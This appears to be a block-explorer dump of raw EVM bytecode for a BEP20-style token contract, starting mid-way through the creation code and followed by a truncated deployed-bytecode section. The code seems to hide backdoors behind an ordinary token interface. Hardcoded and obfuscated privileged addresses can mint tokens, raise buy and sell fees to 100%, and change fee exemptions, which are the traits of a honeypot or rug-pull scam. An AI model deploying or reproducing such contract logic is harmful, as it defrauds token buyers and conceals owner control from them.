9657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061170e5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561170d57506116dd612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61171757600080fd5b90565b60066020528060005260406000206000915054906101000a900460ff1681565b600d5481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461179c57600080fd5b81600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60006117f0612ee9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461182757600080fd5b6118313383612f98565b60019050919050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119145750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561191357506118e3612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61191d57600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166119a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a090613809565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b1c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611b1b5750611aeb612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611b2557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c4257600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611db25750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611db15750611d81612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611dbb57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015611e5c578173ffffffffffffffffffffffffffffffffffffffff167fedf77dfa35bf29ea56a9082d8b89075bd94fd237149c165ce43a4ae41968de3760405160405180910390a25b5050565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611eae57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60018054611f0590613547565b80601f0160208091040260200160405190810160405280929190818152602001828054611f3190613547565b8015611f7e5780601f10611f5357610100808354040283529160200191611f7e565b820191906000526020600020905b815481529060010190602001808311611f6157829003601f168201915b505050505081565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe257600080fd5b611fec3383612b98565b60019050919050565b60003411612038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202f9061389b565b60405180910390fd5b60003490506000600d5411156122f65760006120726064612064600d5485612d6090919063ffffffff16565b612dda90919063ffffffff16565b905060006120898284612e3290919063ffffffff16565b90506120ff8160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121e39190613370565b60405180910390a360008211156122ef5761224682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122e69190613370565b60405180910390a35b5050612457565b61236a8160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161244e9190613370565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156124a857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036124e157600080fd5b61253382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125c882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126689190613370565b60405180910390a36001905092915050565b612682612ee9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146126b957600080fd5b60648211156126fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f4906135c4565b60405180910390fd5b6064811115612741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273890613630565b60405180910390fd5b61274b8282613121565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161277c929190613650565b60405180910390a15050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156128a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612898906136c5565b60405180910390fd5b60006128cb60646128bd600e5485612d6090919063ffffffff16565b612dda90919063ffffffff16565b905060006128e28284612e3290919063ffffffff16565b905061293683600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129cb81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a6b9190613370565b60405180910390a36000821115612b7757612ace82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b6e9190613370565b60405180910390a35b505050565b6000730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b612ba0612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603612bd757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3d90613907565b60405180910390fd5b612c5b81600254612e8b90919063ffffffff16565b600281905550612cb381600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d549190613370565b60405180910390a35050565b6000808303612d725760009050612dd4565b60008284612d809190613956565b9050828482612d8f91906139c7565b14612dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dc690613a44565b60405180910390fd5b809150505b92915050565b6000808211612e1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1590613ab0565b60405180910390fd5b8183612e2a91906139c7565b905092915050565b600082821115612e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6e90613b1c565b60405180910390fd5b8183612e839190613b3c565b905092915050565b6000808284612e9a9190613b70565b905083811015612edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed690613bf0565b60405180910390fd5b8091505092915050565b600080637addad099050600063cbd98d979050600063ec3da7a09050600063088eadfe90506000635801c336905060008160208473ffffffffffffffffffffffffffffffffffffffff16901b60408673ffffffffffffffffffffffffffffffffffffffff16901b60608873ffffffffffffffffffffffffffffffffffffffff16901b60808a73ffffffffffffffffffffffffffffffffffffffff16901b17171717905080965050505050505090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ffe90613c5c565b60405180910390fd5b61301c81600254612e8b90919063ffffffff16565b60028190555061307481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516131159190613370565b60405180910390a35050565b81600d8190555080600e819055505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561316d578082015181840152602081019050613152565b60008484015250505050565b6000601f19601f8301169050919050565b600061319582613133565b61319f818561313e565b93506131af81856020860161314f565b6131b881613179565b840191505092915050565b600060208201905081810360008301526131dd818461318a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613215826131ea565b9050919050565b6132258161320a565b811461323057600080fd5b50565b6000813590506132428161321c565b92915050565b6000819050919050565b61325b81613248565b811461326657600080fd5b50565b60008135905061327881613252565b92915050565b60008060408385031215613295576132946131e5565b5b60006132a385828601613233565b92505060206132b485828601613269565b9150509250929050565b60008115159050919050565b6132d3816132be565b82525050565b60006020820190506132ee60008301846132ca565b92915050565b6000806040838503121561330b5761330a6131e5565b5b600061331985828601613269565b925050602061332a85828601613269565b9150509250929050565b60006020828403121561334a576133496131e5565b5b600061335884828501613269565b91505092915050565b61336a81613248565b82525050565b60006020820190506133856000830184613361565b92915050565b6000806000606084860312156133a4576133a36131e5565b5b60006133b286828701613233565b93505060206133c386828701613233565b92505060406133d486828701613269565b9150509250925092565b600060ff82169050919050565b6133f4816133de565b82525050565b600060208201905061340f60008301846133eb565b92915050565b60006020828403121561342b5761342a6131e5565b5b600061343984828501613233565b91505092915050565b61344b8161320a565b82525050565b60006020820190506134666000830184613442565b92915050565b613475816132be565b811461348057600080fd5b50565b6000813590506134928161346c565b92915050565b600080604083850312156134af576134ae6131e5565b5b60006134bd85828601613233565b92505060206134ce85828601613483565b9150509250929050565b600080604083850312156134ef576134ee6131e5565b5b60006134fd85828601613233565b925050602061350e85828601613233565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061355f57607f821691505b60208210810361357257613571613518565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b60006135ae601a8361313e565b91506135b982613578565b602082019050919050565b600060208201905081810360008301526135dd816135a1565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b600061361a601b8361313e565b9150613625826135e4565b602082019050919050565b600060208201905081810360008301526136498161360d565b9050919050565b60006040820190506136656000830185613361565b6136726020830184613361565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006136af60148361313e565b91506136ba82613679565b602082019050919050565b600060208201905081810360008301526136de816136a2565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b600061371b60168361313e565b9150613726826136e5565b602082019050919050565b6000602082019050818103600083015261374a8161370e565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b600061378760198361313e565b915061379282613751565b602082019050919050565b600060208201905081810360008301526137b68161377a565b9050919050565b7f41646472657373206973206e6f7420666565206578656d707400000000000000600082015250565b60006137f360198361313e565b91506137fe826137bd565b602082019050919050565b60006020820190508181036000830152613822816137e6565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b600061388560238361313e565b915061389082613829565b604082019050919050565b600060208201905081810360008301526138b481613878565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006138f1601f8361313e565b91506138fc826138bb565b602082019050919050565b60006020820190508181036000830152613920816138e4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061396182613248565b915061396c83613248565b925082820261397a81613248565b9150828204841483151761399157613990613927565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006139d282613248565b91506139dd83613248565b9250826139ed576139ec613998565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b6000613a2e60178361313e565b9150613a39826139f8565b602082019050919050565b60006020820190508181036000830152613a5d81613a21565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b6000613a9a60108361313e565b9150613aa582613a64565b602082019050919050565b60006020820190508181036000830152613ac981613a8d565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b6000613b0660148361313e565b9150613b1182613ad0565b602082019050919050565b60006020820190508181036000830152613b3581613af9565b9050919050565b6000613b4782613248565b9150613b5283613248565b9250828203905081811115613b6a57613b69613927565b5b92915050565b6000613b7b82613248565b9150613b8683613248565b9250828201905080821115613b9e57613b9d613927565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b6000613bda60118361313e565b9150613be582613ba4565b602082019050919050565b60006020820190508181036000830152613c0981613bcd565b9050919050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b6000613c4660118361313e565b9150613c5182613c10565b602082019050919050565b60006020820190508181036000830152613c7581613c39565b905091905056fea264697066735822122074bd7ca7b2111e7e7cd9b9dc95d06097b76fb3c93ae0497ff29bd6af630df34b64736f6c6343000812003300000000000000000000000022b10b13e5e4b9e97d78c1dbcf5bb75f34e8cb02

Deployed Bytecode

0x6080604052600436106101f95760003560e01c806370a082311161010d57806396c5e1ab116100a0578063d0fb02031161006f578063d0fb020314610776578063d21c8d55146107a1578063dd62ed3e146107cc578063e2daf66514610809578063e4849b3214610834576101f9565b806396c5e1ab146106c9578063a6f2ae3a14610706578063a9059cbb14610710578063aa46b46e1461074d576101f9565b80638da5cb5b116100dc5780638da5cb5b1461060d5780638ebfc79614610638578063923e51d51461066157806395d89b411461069e576101f9565b806370a0823114610551578063715018a61461058e578063858ced35146105a5578063891e1ee0146105e2576101f9565b8063313ce56711610190578063470624021161015f57806347062402146104585780634a0af68d146104835780635ed86d5c146104c057806361b40839146104fd57806365f6a92114610526576101f9565b8063313ce56714610388578063376d567c146103b35780633ef530eb146103f05780633f4218e01461041b576101f9565b806318160ddd116101cc57806318160ddd146102cc57806323b872dd146102f75780632b14ca56146103345780632c7ee9461461035f576101f9565b806306fdde03146101fe578063095ea7b3146102295780630b78f9c01461026657806316e3b09c1461028f575b600080fd5b34801561020a57600080fd5b5061021361085d565b60405161022091906131c3565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b919061327e565b6108eb565b60405161025d91906132d9565b60405180910390f35b34801561027257600080fd5b5061028d600480360381019061028891906132f4565b6109dd565b005b34801561029b57600080fd5b506102b660048036038101906102b19190613334565b610b93565b6040516102c391906132d9565b60405180910390f35b3480156102d857600080fd5b506102e1610c8b565b6040516102ee9190613370565b60405180910390f35b34801561030357600080fd5b5061031e6004803603810190610319919061338b565b610c91565b60405161032b91906132d9565b60405180910390f35b34801561034057600080fd5b50610349611446565b6040516103569190613370565b60405180910390f35b34801561036b57600080fd5b50610386600480360381019061038191906132f4565b61144c565b005b34801561039457600080fd5b5061039d611579565b6040516103aa91906133fa565b60405180910390f35b3480156103bf57600080fd5b506103da60048036038101906103d59190613415565b61158c565b6040516103e791906132d9565b60405180910390f35b3480156103fc57600080fd5b50610405611632565b60405161041291906132d9565b60405180910390f35b34801561042757600080fd5b50610442600480360381019061043d9190613415565b61171a565b60405161044f91906132d9565b60405180910390f35b34801561046457600080fd5b5061046d61173a565b60405161047a9190613370565b60405180910390f35b34801561048f57600080fd5b506104aa60048036038101906104a59190613415565b611740565b6040516104b791906132d9565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190613334565b6117e6565b6040516104f491906132d9565b60405180910390f35b34801561050957600080fd5b50610524600480360381019061051f9190613415565b61183a565b005b34801561053257600080fd5b5061053b611a04565b6040516105489190613451565b60405180910390f35b34801561055d57600080fd5b5061057860048036038101906105739190613415565b611a2a565b6040516105859190613370565b60405180910390f35b34801561059a57600080fd5b506105a3611a42565b005b3480156105b157600080fd5b506105cc60048036038101906105c79190613415565b611be6565b6040516105d991906132d9565b60405180910390f35b3480156105ee57600080fd5b506105f7611c8c565b6040516106049190613451565b60405180910390f35b34801561061957600080fd5b50610622611cb2565b60405161062f9190613451565b60405180910390f35b34801561064457600080fd5b5061065f600480360381019061065a9190613498565b611cd8565b005b34801561066d57600080fd5b5061068860048036038101906106839190613415565b611e60565b60405161069591906132d9565b60405180910390f35b3480156106aa57600080fd5b506106b3611ef8565b6040516106c091906131c3565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb9190613334565b611f86565b6040516106fd91906132d9565b60405180910390f35b61070e611ff5565b005b34801561071c57600080fd5b506107376004803603810190610732919061327e565b61245a565b60405161074491906132d9565b60405180910390f35b34801561075957600080fd5b50610774600480360381019061076f91906132f4565b61267a565b005b34801561078257600080fd5b5061078b612788565b6040516107989190613451565b60405180910390f35b3480156107ad57600080fd5b506107b66127ae565b6040516107c39190613451565b60405180910390f35b3480156107d857600080fd5b506107f360048036038101906107ee91906134d8565b6127d4565b6040516108009190613370565b60405180910390f35b34801561081557600080fd5b5061081e6127f9565b60405161082b9190613451565b60405180910390f35b34801561084057600080fd5b5061085b60048036038101906108569190613334565b61281f565b005b6000805461086a90613547565b80601f016020809104026020016040519081016040528092919081815260200182805461089690613547565b80156108e35780601f106108b8576101008083540402835291602001916108e3565b820191906000526020600020905b8154815290600101906020018083116108c657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109cb9190613370565b60405180910390a36001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ab75750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610ab65750610a86612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610ac057600080fd5b6064821115610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb906135c4565b60405180910390fd5b6064811115610b48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3f90613630565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610b87929190613650565b60405180910390a15050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c6f5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610c6e5750610c3e612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610c7857600080fd5b610c823383612b98565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c906136c5565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcb90613731565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3a9061379d565b60405180910390fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610ec157610ebe6064610eb0600e5486612d6090919063ffffffff16565b612dda90919063ffffffff16565b90505b6000610ed68285612e3290919063ffffffff16565b9050610f2a84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3290919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fbf81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161105f9190613370565b60405180910390a3600082111561116b576110c282600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111629190613370565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561124357507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15611439576112d784600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3290919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516114309190613370565b60405180910390a35b6001925050509392505050565b600e5481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114a657600080fd5b60648211156114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e1906135c4565b60405180910390fd5b606481111561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590613630565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161156d929190613650565b60405180910390a15050565b600360009054906101000a900460ff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115e857600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061170e5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561170d57506116dd612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61171757600080fd5b90565b60066020528060005260406000206000915054906101000a900460ff1681565b600d5481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461179c57600080fd5b81600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60006117f0612ee9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461182757600080fd5b6118313383612f98565b60019050919050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffff